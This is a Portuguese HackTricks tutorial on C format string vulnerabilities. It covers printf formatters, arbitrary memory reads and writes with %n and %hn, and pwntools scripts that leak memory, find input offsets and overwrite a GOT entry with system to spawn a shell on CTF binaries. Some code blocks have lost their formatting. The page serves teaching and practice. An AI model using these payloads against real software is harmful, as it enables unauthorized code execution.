12 KiB
Format Strings
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Basic Information
Em C printf
é uma função que pode ser usada para imprimir alguma string. O primeiro parâmetro que essa função espera é o texto bruto com os formatadores. Os parâmetros seguintes esperados são os valores para substituir os formatadores do texto bruto.
Outras funções vulneráveis são sprintf()
e fprintf()
.
A vulnerabilidade aparece quando um texto de atacante é usado como o primeiro argumento para essa função. O atacante será capaz de criar uma entrada especial abusando das capacidades da string de formato printf para ler e escrever qualquer dado em qualquer endereço (legível/escrevível). Sendo capaz assim de executar código arbitrário.
Formatters:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Exemplos:
- Exemplo vulnerável:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Uso Normal:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Com Argumentos Faltando:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf vulnerável:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Acessando Ponteiros
O formato %<n>$x
, onde n
é um número, permite indicar ao printf para selecionar o n-ésimo parâmetro (da pilha). Então, se você quiser ler o 4º parâmetro da pilha usando printf, você poderia fazer:
printf("%x %x %x %x")
e você leria do primeiro ao quarto parâmetro.
Ou você poderia fazer:
printf("%4$x")
e ler diretamente o quarto.
Observe que o atacante controla o parâmetro pr
intf
, o que basicamente significa que** sua entrada estará na pilha quando printf
for chamado, o que significa que ele poderia escrever endereços de memória específicos na pilha.
{% hint style="danger" %}
Um atacante controlando essa entrada, será capaz de adicionar endereços arbitrários na pilha e fazer com que printf
os acesse. Na próxima seção, será explicado como usar esse comportamento.
{% endhint %}
Leitura Arbitrária
É possível usar o formatador %n$s
para fazer printf
obter o endereço situado na n posição, seguindo-o e imprimí-lo como se fosse uma string (imprimir até que um 0x00 seja encontrado). Então, se o endereço base do binário for 0x8048000
, e sabemos que a entrada do usuário começa na 4ª posição na pilha, é possível imprimir o início do binário com:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Observe que você não pode colocar o endereço 0x8048000 no início da entrada porque a string será cortada em 0x00 no final desse endereço. {% endhint %}
Encontrar offset
Para encontrar o offset para sua entrada, você pode enviar 4 ou 8 bytes (0x41414141
) seguidos de %1$x
e aumentar o valor até recuperar os A's
.
Força Bruta printf offset
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### Quão útil
Leituras arbitrárias podem ser úteis para:
* **Despejar** o **binário** da memória
* **Acessar partes específicas da memória onde informações sensíveis** **são** armazenadas (como canários, chaves de criptografia ou senhas personalizadas como neste [**desafio CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Escrita Arbitrária**
O formatador **`$<num>%n`** **escreve** o **número de bytes escritos** no **endereço indicado** no parâmetro \<num> na pilha. Se um atacante puder escrever quantos caracteres quiser com printf, ele será capaz de fazer **`$<num>%n`** escrever um número arbitrário em um endereço arbitrário.
Felizmente, para escrever o número 9999, não é necessário adicionar 9999 "A"s à entrada; para isso, é possível usar o formatador **`%.<num-write>%<num>$n`** para escrever o número **`<num-write>`** no **endereço apontado pela posição `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
No entanto, note que geralmente, para escrever um endereço como 0x08049724
(que é um número ENORME para escrever de uma vez), usa-se $hn
em vez de $n
. Isso permite escrever apenas 2 Bytes. Portanto, essa operação é feita duas vezes, uma para os 2B mais altos do endereço e outra vez para os mais baixos.
Portanto, essa vulnerabilidade permite escrever qualquer coisa em qualquer endereço (escrita arbitrária).
Neste exemplo, o objetivo será sobrescrever o endereço de uma função na tabela GOT que será chamada mais tarde. Embora isso possa abusar de outras técnicas de escrita arbitrária para exec:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Vamos sobrescrever uma função que recebe seus argumentos do usuário e apontá-la para a função system
.
Como mencionado, para escrever o endereço, geralmente são necessários 2 passos: Você primeiro escreve 2Bytes do endereço e depois os outros 2. Para isso, usa-se $hn
.
- HOB é chamado para os 2 bytes mais altos do endereço
- LOB é chamado para os 2 bytes mais baixos do endereço
Então, por causa de como a string de formato funciona, você precisa escrever primeiro o menor de [HOB, LOB] e depois o outro.
Se HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Se HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Modelo Pwntools
Você pode encontrar um modelo para preparar um exploit para esse tipo de vulnerabilidade em:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Ou este exemplo básico de aqui:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings para BOF
É possível abusar das ações de escrita de uma vulnerabilidade de formato de string para escrever em endereços da pilha e explorar um tipo de vulnerabilidade de buffer overflow.
Outros Exemplos & Referências
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bits, sem relro, sem canário, nx, sem pie, uso básico de format strings para vazar a flag da pilha (sem necessidade de alterar o fluxo de execução)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bits, relro, sem canário, nx, sem pie, format string para sobrescrever o endereço
fflush
com a função win (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bits, relro, sem canário, nx, sem pie, format string para escrever um endereço dentro de main em
.fini_array
(para que o fluxo retorne mais uma vez) e escrever o endereço parasystem
na tabela GOT apontando parastrlen
. Quando o fluxo voltar para main,strlen
é executado com a entrada do usuário e apontando parasystem
, ele executará os comandos passados.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.